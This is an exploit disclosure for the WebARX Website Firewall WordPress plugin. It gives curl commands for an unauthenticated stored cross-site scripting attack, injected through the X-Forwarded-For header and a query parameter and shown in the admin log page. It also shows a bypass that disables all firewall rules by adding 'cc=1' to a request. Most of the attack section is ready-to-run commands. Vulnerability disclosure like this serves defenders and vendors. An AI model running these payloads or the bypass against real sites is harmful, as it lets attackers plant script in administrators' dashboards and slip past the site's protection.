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WordPress WebARX Website Firewall 4.9.8 XSS / Bypass

WordPress WebARX Website Firewall 4.9.8 XSS / Bypass
Posted Sep 27, 2018
Authored by ed0x21son

WordPress WebARX Website Firewall plugin version 4.9.8 suffers from bypass and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 93f3340e129e42fa3f325953a6ff8e08

WordPress WebARX Website Firewall 4.9.8 XSS / Bypass

Change Mirror Download
# Exploit Title: WordPress WebARX Website Firewall - Stored XSS and firewall bypass.
# Type: WordPress Plugin
# Date: 2018-09-27
# Exploit Author: ed0x21son
# Vendor Homepage: https://www.webarxsecurity.com
# Software Link: http://update.webarxsecurity.com/wp-update-server/?action=download&slug=webarx
# Version: 1.3.0
# Category: WebApps, WordPress
# Tested on: WordPress 4.9.8


[Vulnerabilities]

#1: Unauthenticated stored XSS:

curl -I -H 'X-Forwarded-For: <script>alert("U-H4V3-B33N-PWN3D")</script>' 'http://localhost/?xss=<script>alert(/pwn3d/)</script>'

Go to Wordpress dashboard and view WebARX logs: pwnd!


#2: Firewall bypass:

U can bypass all firewall security and rules if u add "cc=1" to the Post or Get payload.

Blocked by firewall:
curl 'http://localhost/?xss=<script>alert(/pwn3d/)</script>'

Not blocked by firewall:
curl 'http://localhost/?xss=<script>alert(/pwn3d/)</script>&cc=1'



--ed0x21son

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